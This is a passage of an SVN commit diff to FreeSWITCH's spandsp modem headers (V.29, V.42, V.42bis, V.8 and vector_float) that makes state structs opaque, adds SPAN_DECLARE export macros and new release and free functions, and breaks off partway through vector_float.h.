--- freeswitch/branches/seven/libs/spandsp/src/spandsp/v29tx.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/v29tx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v29tx.h,v 1.34 2008/07/16 14:23:48 steveu Exp $
+ * $Id: v29tx.h,v 1.41 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \file */
@@ -94,73 +94,12 @@
 
 */
 
-#define V29_TX_FILTER_STEPS     9
-
 /*!
     V.29 modem transmit side descriptor. This defines the working state for a
     single instance of a V.29 modem transmitter.
 */
-typedef struct
-{
-    /*! \brief The bit rate of the modem. Valid values are 4800, 7200 and 9600. */
-    int bit_rate;
-    /*! \brief The callback function used to get the next bit to be transmitted. */
-    get_bit_func_t get_bit;
-    /*! \brief A user specified opaque pointer passed to the get_bit function. */
-    void *get_bit_user_data;
+typedef struct v29_tx_state_s v29_tx_state_t;
 
-    /*! \brief The callback function used to report modem status changes. */
-    modem_tx_status_func_t status_handler;
-    /*! \brief A user specified opaque pointer passed to the status function. */
-    void *status_user_data;
-
-    /*! \brief Gain required to achieve the specified output power, not allowing
-               for the size of the current constellation. */
-    float base_gain;
-    /*! \brief Gain required to achieve the specified output power, allowing
-               for the size of the current constellation. */
-#if defined(SPANDSP_USE_FIXED_POINT)
-    int32_t gain;
-#else
-    float gain;
-#endif
-
-    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
-#if defined(SPANDSP_USE_FIXED_POINT)
-    complexi16_t rrc_filter[2*V29_TX_FILTER_STEPS];
-#else
-    complexf_t rrc_filter[2*V29_TX_FILTER_STEPS];
-#endif
-    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
-    int rrc_filter_step;
-
-    /*! \brief The register for the data scrambler. */
-    unsigned int scramble_reg;
-    /*! \brief The register for the training scrambler. */
-    uint8_t training_scramble_reg;
-    /*! \brief TRUE if transmitting the training sequence, or shutting down transmission.
-               FALSE if transmitting user data. */
-    int in_training;
-    /*! \brief A counter used to track progress through sending the training sequence. */
-    int training_step;
-    /*! \brief An offset value into the table of training parameters, used to match the
-               training pattern to the bit rate. */
-    int training_offset;
-
-    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
-    uint32_t carrier_phase;
-    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
-    int32_t carrier_phase_rate;
-    /*! \brief The current fractional phase of the baud timing. */
-    int baud_phase;
-    /*! \brief The code number for the current position in the constellation. */
-    int constellation_state;
-    /*! \brief The get_bit function in use at any instant. */
-    get_bit_func_t current_get_bit;
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} v29_tx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -170,7 +109,7 @@
     \brief Adjust a V.29 modem transmit context's output power.
     \param s The modem context.
     \param power The power level, in dBm0 */
-void v29_tx_power(v29_tx_state_t *s, float power);
+SPAN_DECLARE(void) v29_tx_power(v29_tx_state_t *s, float power);
 
 /*! Initialise a V.29 modem transmit context. This must be called before the first
     use of the context, to initialise its contents.
@@ -181,7 +120,7 @@
     \param get_bit The callback routine used to get the data to be transmitted.
     \param user_data An opaque pointer.
     \return A pointer to the modem context, or NULL if there was a problem. */
-v29_tx_state_t *v29_tx_init(v29_tx_state_t *s, int bit_rate, int tep, get_bit_func_t get_bit, void *user_data);
+SPAN_DECLARE(v29_tx_state_t *) v29_tx_init(v29_tx_state_t *s, int bit_rate, int tep, get_bit_func_t get_bit, void *user_data);
 
 /*! Reinitialise an existing V.29 modem transmit context, so it may be reused.
     \brief Reinitialise an existing V.29 modem transmit context.
@@ -189,27 +128,39 @@
     \param bit_rate The bit rate of the modem. Valid values are 4800, 7200 and 9600.
     \param tep TRUE is the optional TEP tone is to be transmitted.
     \return 0 for OK, -1 for bad parameter */
-int v29_tx_restart(v29_tx_state_t *s, int bit_rate, int tep);
+SPAN_DECLARE(int) v29_tx_restart(v29_tx_state_t *s, int bit_rate, int tep);
 
+/*! Release a V.29 modem transmit context.
+    \brief Release a V.29 modem transmit context.
+    \param s The modem context.
+    \return 0 for OK */
+SPAN_DECLARE(int) v29_tx_release(v29_tx_state_t *s);
+
 /*! Free a V.29 modem transmit context.
     \brief Free a V.29 modem transmit context.
     \param s The modem context.
     \return 0 for OK */
-int v29_tx_free(v29_tx_state_t *s);
+SPAN_DECLARE(int) v29_tx_free(v29_tx_state_t *s);
 
+/*! Get the logging context associated with a V.29 modem transmit context.
+    \brief Get the logging context associated with a V.29 modem transmit context.
+    \param s The modem context.
+    \return A pointer to the logging context */
+SPAN_DECLARE(logging_state_t *) v29_tx_get_logging_state(v29_tx_state_t *s);
+
 /*! Change the get_bit function associated with a V.29 modem transmit context.
     \brief Change the get_bit function associated with a V.29 modem transmit context.
     \param s The modem context.
     \param get_bit The callback routine used to get the data to be transmitted.
     \param user_data An opaque pointer. */
-void v29_tx_set_get_bit(v29_tx_state_t *s, get_bit_func_t get_bit, void *user_data);
+SPAN_DECLARE(void) v29_tx_set_get_bit(v29_tx_state_t *s, get_bit_func_t get_bit, void *user_data);
 
 /*! Change the modem status report function associated with a V.29 modem transmit context.
     \brief Change the modem status report function associated with a V.29 modem transmit context.
     \param s The modem context.
     \param handler The callback routine used to report modem status changes.
     \param user_data An opaque pointer. */
-void v29_tx_set_modem_status_handler(v29_tx_state_t *s, modem_tx_status_func_t handler, void *user_data);
+SPAN_DECLARE(void) v29_tx_set_modem_status_handler(v29_tx_state_t *s, modem_tx_status_func_t handler, void *user_data);
 
 /*! Generate a block of V.29 modem audio samples.
     \brief Generate a block of V.29 modem audio samples.
@@ -218,7 +169,7 @@
     \param len The number of samples to be generated.
     \return The number of samples actually generated.
 */
-int v29_tx(v29_tx_state_t *s, int16_t *amp, int len);
+SPAN_DECLARE_NONSTD(int) v29_tx(v29_tx_state_t *s, int16_t amp[], int len);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/v42.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/v42.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/v42.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v42.h,v 1.25 2008/04/17 14:27:01 steveu Exp $
+ * $Id: v42.h,v 1.30 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \page v42_page V.42 modem error correction
@@ -63,90 +63,13 @@
 /*!
     LAP-M descriptor. This defines the working state for a single instance of LAP-M.
 */
-typedef struct
-{
-    int handle;
-    hdlc_rx_state_t hdlc_rx;
-    hdlc_tx_state_t hdlc_tx;
-    
-    v42_frame_handler_t iframe_receive;
-    void *iframe_receive_user_data;
+typedef struct lapm_state_s lapm_state_t;
 
-    v42_status_func_t status_callback;
-    void *status_callback_user_data;
-
-    int state;
-    int tx_waiting;
-    int debug;
-    /*! TRUE if originator. FALSE if answerer */
-    int we_are_originator;
-    /*! Remote network type (unknown, answerer. originator) */
-    int peer_is_originator;
-    /*! Next N(S) for transmission */
-    int next_tx_frame;
-    /*! The last of our frames which the peer acknowledged */
-    int last_frame_peer_acknowledged;
-    /*! Next N(R) for reception */
-    int next_expected_frame;
-    /*! The last of the peer's frames which we acknowledged */
-    int last_frame_we_acknowledged;
-    /*! TRUE if we sent an I or S frame with the F-bit set */
-    int solicit_f_bit;
-    /*! Retransmission count */
-    int retransmissions;
-    /*! TRUE if peer is busy */
-    int busy;
-
-    /*! Acknowledgement timer */
-    int t401_timer;
-    /*! Reply delay timer - optional */
-    int t402_timer;
-    /*! Inactivity timer - optional */
-    int t403_timer;
-    /*! Maximum number of octets in an information field */
-    int n401;
-    /*! Window size */
-    int window_size_k;
-	
-    lapm_frame_queue_t *txqueue;
-    lapm_frame_queue_t *tx_next;
-    lapm_frame_queue_t *tx_last;
-    queue_state_t *tx_queue;
-    
-    span_sched_state_t sched;
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} lapm_state_t;
-
 /*!
     V.42 descriptor. This defines the working state for a single instance of V.42.
 */
-typedef struct
-{
-    /*! TRUE if we are the calling party, otherwise FALSE */
-    int caller;
-    /*! TRUE if we should detect whether the far end is V.42 capable. FALSE if we go
-        directly to protocol establishment */
-    int detect;
+typedef struct v42_state_s v42_state_t;
 
-    /*! Stage in negotiating V.42 support */
-    int rx_negotiation_step;
-    int rxbits;
-    int rxstream;
-    int rxoks;
-    int odp_seen;
-    int txbits;
-    int txstream;
-    int txadps;
-    /*! The LAP.M context */
-    lapm_state_t lapm;
-
-    /*! V.42 support detection timer */
-    int t400_timer;
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} v42_state_t;
-
 /*! Log the raw HDLC frames */
 #define LAPM_DEBUG_LAPM_RAW         (1 << 0)
 /*! Log the interpreted frames */
@@ -159,7 +82,7 @@
 {
 #endif
 
-const char *lapm_status_to_str(int status);
+SPAN_DECLARE(const char *) lapm_status_to_str(int status);
 
 /*! Dump LAP.M frames in a raw and/or decoded forms
     \param frame The frame itself
@@ -167,43 +90,43 @@
     \param showraw TRUE if the raw octets should be dumped
     \param txrx TRUE if tx, FALSE if rx. Used to highlight the packet's direction.
 */
-void lapm_dump(lapm_state_t *s, const uint8_t *frame, int len, int showraw, int txrx);
+SPAN_DECLARE(void) lapm_dump(lapm_state_t *s, const uint8_t *frame, int len, int showraw, int txrx);
 
 /*! Accept an HDLC packet
 */
-void lapm_receive(void *user_data, const uint8_t *buf, int len, int ok);
+SPAN_DECLARE_NONSTD(void) lapm_receive(void *user_data, const uint8_t *buf, int len, int ok);
 
 /*! Transmit a LAP.M frame
 */
-int lapm_tx(lapm_state_t *s, const void *buf, int len);
+SPAN_DECLARE(int) lapm_tx(lapm_state_t *s, const void *buf, int len);
 
 /*! Transmit a LAP.M information frame
 */
-int lapm_tx_iframe(lapm_state_t *s, const void *buf, int len, int cr);
+SPAN_DECLARE(int) lapm_tx_iframe(lapm_state_t *s, const void *buf, int len, int cr);
 
 /*! Send a break over a LAP.M connection
 */
-int lapm_break(lapm_state_t *s, int enable);
+SPAN_DECLARE(int) lapm_break(lapm_state_t *s, int enable);
 
 /*! Initiate an orderly release of a LAP.M connection
 */
-int lapm_release(lapm_state_t *s);
+SPAN_DECLARE(int) lapm_release(lapm_state_t *s);
 
 /*! Enable or disable loopback of a LAP.M connection
 */
-int lapm_loopback(lapm_state_t *s, int enable);
+SPAN_DECLARE(int) lapm_loopback(lapm_state_t *s, int enable);
 
 /*! Assign or remove a callback routine used to deal with V.42 status changes.
 */
-void v42_set_status_callback(v42_state_t *s, v42_status_func_t callback, void *user_data);
+SPAN_DECLARE(void) v42_set_status_callback(v42_state_t *s, v42_status_func_t callback, void *user_data);
 
 /*! Process a newly received bit for a V.42 context.
 */
-void v42_rx_bit(void *user_data, int bit);
+SPAN_DECLARE(void) v42_rx_bit(void *user_data, int bit);
 
 /*! Get the next transmit bit for a V.42 context.
 */
-int v42_tx_bit(void *user_data);
+SPAN_DECLARE(int) v42_tx_bit(void *user_data);
 
 /*! Initialise a V.42 context.
     \param s The V.42 context.
@@ -212,18 +135,23 @@
     \param user_data An opaque pointer passed to the frame handler routine.
     \return ???
 */
-v42_state_t *v42_init(v42_state_t *s, int caller, int detect, v42_frame_handler_t frame_handler, void *user_data);
+SPAN_DECLARE(v42_state_t *) v42_init(v42_state_t *s, int caller, int detect, v42_frame_handler_t frame_handler, void *user_data);
 
 /*! Restart a V.42 context.
     \param s The V.42 context.
 */
-void v42_restart(v42_state_t *s);
+SPAN_DECLARE(void) v42_restart(v42_state_t *s);
 
 /*! Release a V.42 context.
     \param s The V.42 context.
     \return 0 if OK */
-int v42_release(v42_state_t *s);
+SPAN_DECLARE(int) v42_release(v42_state_t *s);
 
+/*! Free a V.42 context.
+    \param s The V.42 context.
+    \return 0 if OK */
+SPAN_DECLARE(int) v42_free(v42_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/v42bis.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/v42bis.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/v42bis.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v42bis.h,v 1.22 2008/04/17 14:27:01 steveu Exp $
+ * $Id: v42bis.h,v 1.27 2009/04/11 18:11:19 steveu Exp $
  */
 
 /*! \page v42bis_page V.42bis modem data compression
@@ -60,124 +60,11 @@
 typedef void (*v42bis_data_handler_t)(void *user_data, const uint8_t *buf, int len);
 
 /*!
-    V.42bis dictionary node.
-*/
-typedef struct
-{
-    /*! \brief The prior code for each defined code. */
-    uint16_t parent_code;
-    /*! \brief The number of leaf nodes this node has */
-    int16_t leaves;
-    /*! \brief This leaf octet for each defined code. */
-    uint8_t node_octet;
-    /*! \brief Bit map of the children which exist */
-    uint32_t children[8];
-} v42bis_dict_node_t;
-
-/*!
-    V.42bis compression. This defines the working state for a single instance
-    of V.42bis compression.
-*/
-typedef struct
-{
-    /*! \brief Compression mode. */
-    int compression_mode;
-    /*! \brief Callback function to handle received frames. */
-    v42bis_frame_handler_t handler;
-    /*! \brief An opaque pointer passed in calls to frame_handler. */
-    void *user_data;
-    /*! \brief The maximum frame length allowed */
-    int max_len;
-
-    uint32_t string_code;
-    uint32_t latest_code;
-    int string_length;
-    uint32_t output_bit_buffer;
-    int output_bit_count;
-    int output_octet_count;
-    uint8_t output_buf[1024];
-    v42bis_dict_node_t dict[V42BIS_MAX_CODEWORDS];
-    /*! \brief TRUE if we are in transparent (i.e. uncompressable) mode */
-    int transparent;
-    int change_transparency;
-    /*! \brief IIR filter state, used in assessing compressibility. */
-    int compressibility_filter;
-    int compressibility_persistence;
-    
-    /*! \brief Next empty dictionary entry */
-    uint32_t v42bis_parm_c1;
-    /*! \brief Current codeword size */
-    int v42bis_parm_c2;
-    /*! \brief Threshold for codeword size change */
-    uint32_t v42bis_parm_c3;
-
-    /*! \brief Mark that this is the first octet/code to be processed */
-    int first;
-    uint8_t escape_code;
-} v42bis_compress_state_t;
-
-/*!
-    V.42bis decompression. This defines the working state for a single instance
-    of V.42bis decompression.
-*/
-typedef struct
-{
-    /*! \brief Callback function to handle decompressed data. */
-    v42bis_data_handler_t handler;
-    /*! \brief An opaque pointer passed in calls to data_handler. */
-    void *user_data;
-    /*! \brief The maximum decompressed data block length allowed */
-    int max_len;
-
-    uint32_t old_code;
-    uint32_t last_old_code;
-    uint32_t input_bit_buffer;
-    int input_bit_count;
-    int octet;
-    int last_length;
-    int output_octet_count;
-    uint8_t output_buf[1024];
-    v42bis_dict_node_t dict[V42BIS_MAX_CODEWORDS];
-    /*! \brief TRUE if we are in transparent (i.e. uncompressable) mode */
-    int transparent;
-
-    int last_extra_octet;
-
-    /*! \brief Next empty dictionary entry */
-    uint32_t v42bis_parm_c1;
-    /*! \brief Current codeword size */
-    int v42bis_parm_c2;
-    /*! \brief Threshold for codeword size change */
-    uint32_t v42bis_parm_c3;
-        
-    /*! \brief Mark that this is the first octet/code to be processed */
-    int first;
-    uint8_t escape_code;
-    int escaped;
-} v42bis_decompress_state_t;
-
-/*!
     V.42bis compression/decompression descriptor. This defines the working state for a
     single instance of V.42bis compress/decompression.
 */
-typedef struct
-{
-    /*! \brief V.42bis data compression directions. */
-    int v42bis_parm_p0;
+typedef struct v42bis_state_s v42bis_state_t;
 
-    /*! \brief Compression state. */
-    v42bis_compress_state_t compress;
-    /*! \brief Decompression state. */
-    v42bis_decompress_state_t decompress;
-    
-    /*! \brief Maximum codeword size (bits) */
-    int v42bis_parm_n1;
-    /*! \brief Total number of codewords */
-    uint32_t v42bis_parm_n2;
-    /*! \brief Maximum string length */
-    int v42bis_parm_n7;
-} v42bis_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -188,60 +75,65 @@
     \param buf The data to be compressed.
     \param len The length of the data buffer.
     \return 0 */
-int v42bis_compress(v42bis_state_t *s, const uint8_t *buf, int len);
+SPAN_DECLARE(int) v42bis_compress(v42bis_state_t *s, const uint8_t *buf, int len);
 
 /*! Flush out any data remaining in a compression buffer.
     \param s The V.42bis context.
     \return 0 */
-int v42bis_compress_flush(v42bis_state_t *s);
+SPAN_DECLARE(int) v42bis_compress_flush(v42bis_state_t *s);
 
 /*! Decompress a block of octets.
     \param s The V.42bis context.
     \param buf The data to be decompressed.
     \param len The length of the data buffer.
     \return 0 */
-int v42bis_decompress(v42bis_state_t *s, const uint8_t *buf, int len);
+SPAN_DECLARE(int) v42bis_decompress(v42bis_state_t *s, const uint8_t *buf, int len);
     
 /*! Flush out any data remaining in the decompression buffer.
     \param s The V.42bis context.
     \return 0 */
-int v42bis_decompress_flush(v42bis_state_t *s);
+SPAN_DECLARE(int) v42bis_decompress_flush(v42bis_state_t *s);
 
+/*! Set the compression mode.
+    \param s The V.42bis context.
+    \param mode One of the V.42bis compression modes -
+            V42BIS_COMPRESSION_MODE_DYNAMIC,
+            V42BIS_COMPRESSION_MODE_ALWAYS,
+            V42BIS_COMPRESSION_MODE_NEVER */
+SPAN_DECLARE(void) v42bis_compression_control(v42bis_state_t *s, int mode);
+
 /*! Initialise a V.42bis context.
     \param s The V.42bis context.
     \param negotiated_p0 The negotiated P0 parameter, from the V.42bis spec.
     \param negotiated_p1 The negotiated P1 parameter, from the V.42bis spec.
     \param negotiated_p2 The negotiated P2 parameter, from the V.42bis spec.
-    \param frame_handler .
-    \param frame_user_data .
+    \param frame_handler Frame callback handler.
+    \param frame_user_data An opaque pointer passed to the frame callback handler.
     \param max_frame_len The maximum length that should be passed to the frame handler.
-    \param data_handler .
-    \param data_user_data .
+    \param data_handler data callback handler.
+    \param data_user_data An opaque pointer passed to the data callback handler.
     \param max_data_len The maximum length that should be passed to the data handler.
     \return The V.42bis context. */
-v42bis_state_t *v42bis_init(v42bis_state_t *s,
-                            int negotiated_p0,
-                            int negotiated_p1,
-                            int negotiated_p2,
-                            v42bis_frame_handler_t frame_handler,
-                            void *frame_user_data,
-                            int max_frame_len,
-                            v42bis_data_handler_t data_handler,
-                            void *data_user_data,
-                            int max_data_len);
+SPAN_DECLARE(v42bis_state_t *) v42bis_init(v42bis_state_t *s,
+                                           int negotiated_p0,
+                                           int negotiated_p1,
+                                           int negotiated_p2,
+                                           v42bis_frame_handler_t frame_handler,
+                                           void *frame_user_data,
+                                           int max_frame_len,
+                                           v42bis_data_handler_t data_handler,
+                                           void *data_user_data,
+                                           int max_data_len);
 
-/*! Set the compression mode.
+/*! Release a V.42bis context.
     \param s The V.42bis context.
-    \param mode One of the V.42bis compression modes -
-            V42BIS_COMPRESSION_MODE_DYNAMIC,
-            V42BIS_COMPRESSION_MODE_ALWAYS,
-            V42BIS_COMPRESSION_MODE_NEVER */
-void v42bis_compression_control(v42bis_state_t *s, int mode);
+    \return 0 if OK */
+SPAN_DECLARE(int) v42bis_release(v42bis_state_t *s);
 
-/*! Release a V.42bis context.
+/*! Free a V.42bis context.
     \param s The V.42bis context.
     \return 0 if OK */
-int v42bis_release(v42bis_state_t *s);
+SPAN_DECLARE(int) v42bis_free(v42bis_state_t *s);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/v8.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/v8.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/v8.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v8.h,v 1.23 2008/09/04 14:40:05 steveu Exp $
+ * $Id: v8.h,v 1.28 2009/06/02 16:03:56 steveu Exp $
  */
  
 /*! \file */
@@ -100,56 +100,8 @@
     V8_PSTN_PCM_MODEM_V91 = 0x80
 };
 
-typedef struct
-{
-    /*! \brief TRUE if we are the calling modem */
-    int caller;
-    /*! \brief The current state of the V8 protocol */
-    int state;
-    int negotiation_timer;
-    int ci_timer;
-    int ci_count;
-    fsk_tx_state_t v21tx;
-    fsk_rx_state_t v21rx;
-    queue_state_t *tx_queue;
-    modem_connect_tones_tx_state_t ansam_tx;
-    modem_connect_tones_rx_state_t ansam_rx;
+typedef struct v8_state_s v8_state_t;
 
-    v8_result_handler_t *result_handler;
-    void *result_handler_user_data;
-
-    /*! \brief Modulation schemes available at this end. */
-    int available_modulations;
-    int common_modulations;
-    int negotiated_modulation;
-    int far_end_modulations;
-    
-    int call_function;
-    int protocol;
-    int pstn_access;
-    int nsf_seen;
-    int pcm_modem_availability;
-    int t66_seen;
-
-    /* V8 data parsing */
-    unsigned int bit_stream;
-    int bit_cnt;
-    /* Indicates the type of message coming up */
-    int preamble_type;
-    uint8_t rx_data[64];
-    int rx_data_ptr;
-    
-    /*! \brief a reference copy of the last CM or JM message, used when
-               testing for matches. */
-    uint8_t cm_jm_data[64];
-    int cm_jm_count;
-    int got_cm_jm;
-    int got_cj;
-    int zero_byte_count;
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} v8_state_t;
-
 struct v8_result_s
 {
     int call_function;
@@ -176,18 +128,26 @@
     \param result_handler The callback routine used to handle the results of negotiation.
     \param user_data An opaque pointer passed to the result_handler routine.
     \return A pointer to the V.8 context, or NULL if there was a problem. */
-v8_state_t *v8_init(v8_state_t *s,
-                    int caller,
-                    int available_modulations,
-                    v8_result_handler_t *result_handler,
-                    void *user_data);
+SPAN_DECLARE(v8_state_t *) v8_init(v8_state_t *s,
+                                   int caller,
+                                   int available_modulations,
+                                   v8_result_handler_t *result_handler,
+                                   void *user_data);
 
 /*! Release a V.8 context.
     \brief Release a V.8 context.
     \param s The V.8 context.
     \return 0 for OK. */
-int v8_release(v8_state_t *s);
+SPAN_DECLARE(int) v8_release(v8_state_t *s);
 
+/*! Free a V.8 context.
+    \brief Release a V.8 context.
+    \param s The V.8 context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) v8_free(v8_state_t *s);
+
+SPAN_DECLARE(logging_state_t *) v8_get_logging_state(v8_state_t *s);
+
 /*! Generate a block of V.8 audio samples.
     \brief Generate a block of V.8 audio samples.
     \param s The V.8 context.
@@ -195,7 +155,7 @@
     \param max_len The number of samples to be generated.
     \return The number of samples actually generated.
 */
-int v8_tx(v8_state_t *s, int16_t *amp, int max_len);
+SPAN_DECLARE_NONSTD(int) v8_tx(v8_state_t *s, int16_t *amp, int max_len);
 
 /*! Process a block of received V.8 audio samples.
     \brief Process a block of received V.8 audio samples.
@@ -203,19 +163,19 @@
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
 */
-int v8_rx(v8_state_t *s, const int16_t *amp, int len);
+SPAN_DECLARE_NONSTD(int) v8_rx(v8_state_t *s, const int16_t *amp, int len);
 
 /*! Log the list of supported modulations.
     \brief Log the list of supported modulations.
     \param s The V.8 context.
     \param modulation_schemes The list of supported modulations. */
-void v8_log_supported_modulations(v8_state_t *s, int modulation_schemes);
+SPAN_DECLARE(void) v8_log_supported_modulations(v8_state_t *s, int modulation_schemes);
 
-const char *v8_call_function_to_str(int call_function);
-const char *v8_modulation_to_str(int modulation_scheme);
-const char *v8_protocol_to_str(int protocol);
-const char *v8_pstn_access_to_str(int pstn_access);
-const char *v8_pcm_modem_availability_to_str(int pcm_modem_availability);
+SPAN_DECLARE(const char *) v8_call_function_to_str(int call_function);
+SPAN_DECLARE(const char *) v8_modulation_to_str(int modulation_scheme);
+SPAN_DECLARE(const char *) v8_protocol_to_str(int protocol);
+SPAN_DECLARE(const char *) v8_pstn_access_to_str(int pstn_access);
+SPAN_DECLARE(const char *) v8_pcm_modem_availability_to_str(int pcm_modem_availability);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/vector_float.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/vector_float.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/vector_float.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: vector_float.h,v 1.13 2008/09/18 13:54:32 steveu Exp $
+ * $Id: vector_float.h,v 1.15 2009/01/31 08:48:11 steveu Exp $
  */
 
 #if !defined(_SPANDSP_VECTOR_FLOAT_H_)
@@ -33,91 +33,139 @@
 {
 #endif
 
-void vec_copyf(float z[], const float x[], int n);
+SPAN_DECLARE(void) vec_copyf(float z[], const float x[], int n);
 
-void vec_copy(double z[], const double x[], int n);
+SPAN_DECLARE(void) vec_copy(double z[], const double x[], int n);
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_copyl(long double z[], const long double x[], int n);
+SPAN_DECLARE(void) vec_copyl(long double z[], const long double x[], int n);
 #endif
 
-void vec_zerof(float z[], int n);
+SPAN_DECLARE(void) vec_negatef(float z[], const float x[], int n);
 
-void vec_zero(double z[], int n);
+SPAN_DECLARE(void) vec_negate(double z[], const double x[], int n);
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_zerol(long double z[], int n);
+SPAN_DECLARE(void) vec_negatel(long double z[], const long double x[], int n);
 #endif
 
-void vec_setf(float z[], float x, int n);
+SPAN_DECLARE(void) vec_zerof(float z[], int n);
 
-void vec_set(double z[], double x, int n);
+SPAN_DECLARE(void) vec_zero(double z[], int n);
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_setl(long double z[], long double x, int n);
+SPAN_DECLARE(void) vec_zerol(long double z[], int n);
 #endif
 
-void vec_addf(float z[], const float x[], const float y[], int n);
+SPAN_DECLARE(void) vec_setf(float z[], float x, int n);
 
-void vec_add(double z[], const double x[], const double y[], int n);
+SPAN_DECLARE(void) vec_set(double z[], double x, int n);
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_addl(long double z[], const long double x[], const long double y[], int n);
+SPAN_DECLARE(void) vec_setl(long double z[], long double x, int n);
 #endif
 
-void vec_scaled_addf(float z[], const float x[], float x_scale, const float y[], float y_scale, int n);
+SPAN_DECLARE(void) vec_addf(float z[], const float x[], const float y[], int n);
 
-void vec_scaled_add(double z[], const double x[], double x_scale, const double y[], double y_scale, int n);
+SPAN_DECLARE(void) vec_add(double z[], const double x[], const double y[], int n);
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_scaled_addl(long double z[], const long double x[], long double x_scale, const long double y[], long double y_scale, int n);
+SPAN_DECLARE(void) vec_addl(long double z[], const long double x[], const long double y[], int n);
 #endif
 
-void vec_subf(float z[], const float x[], const float y[], int n);
+SPAN_DECLARE(void) vec_scaledxy_addf(float z[], const float x[], float x_scale, const float y[], float y_scale, int n);
 
-void vec_sub(double z[], const double x[], const double y[], int n);
+SPAN_DECLARE(void) vec_scaledxy_add(double z[], const double x[], double x_scale, const double y[], double y_scale, int n);
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_subl(long double z[], const long double x[], const long double y[], int n);
+SPAN_DECLARE(void) vec_scaledxy_addl(long double z[], const long double x[], long double x_scale, const long double y[], long double y_scale, int n);
 #endif
 
-void vec_scaled_subf(float z[], const float x[], float x_scale, const float y[], float y_scale, int n);
+SPAN_DECLARE(void) vec_scaledy_addf(float z[], const float x[], const float y[], float y_scale, int n);
 
-void vec_scaled_sub(double z[], const double x[], double x_scale, const double y[], double y_scale, int n);
+SPAN_DECLARE(void) vec_scaledy_add(double z[], const double x[], const double y[], double y_scale, int n);
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_scaled_subl(long double z[], const long double x[], long double x_scale, const long double y[], long double y_scale, int n);
+SPAN_DECLARE(void) vec_scaledy_addl(long double z[], const long double x[], const long double y[], long double y_scale, int n);
 #endif
 
-void vec_scalar_mulf(float z[], const float x[], float y, int n);
+SPAN_DECLARE(void) vec_subf(float z[], const float x[], const float y[], int n);
 
-void vec_scalar_mul(double z[], const double x[], double y, int n);
+SPAN_DECLARE(void) vec_sub(double z[], const double x[], const double y[], int n);
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_scalar_mull(long double z[], const long double x[], long double y, int n);
+SPAN_DECLARE(void) vec_subl(long double z[], const long double x[], const long double y[], int n);
 #endif
 
-void vec_mulf(float z[], const float x[], const float y[], int n);
+SPAN_DECLARE(void) vec_scaledxy_subf(float z[], const float x[], float x_scale, const float y[], float y_scale, int n);
 
-void vec_mul(double z[], const double x[], const double y[], int n);
+SPAN_DECLARE(void) vec_scaledxy_sub(double z[], const double x[], double x_scale, const double y[], double y_scale, int n);
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_mull(long double z[], const long double x[], const long double y[], int n);
+SPAN_DECLARE(void) vec_scaledxy_subl(long double z[], const long double x[], long double x_scale, const long double y[], long double y_scale, int n);
 #endif
 
+SPAN_DECLARE(void) vec_scaledx_subf(float z[], const float x[], float x_scale, const float y[], int n);
+
+SPAN_DECLARE(void) vec_scaledx_sub(double z[], const double x[], double x_scale, const double y[], int n);
+
+#if defined(HAVE_LONG_DOUBLE)
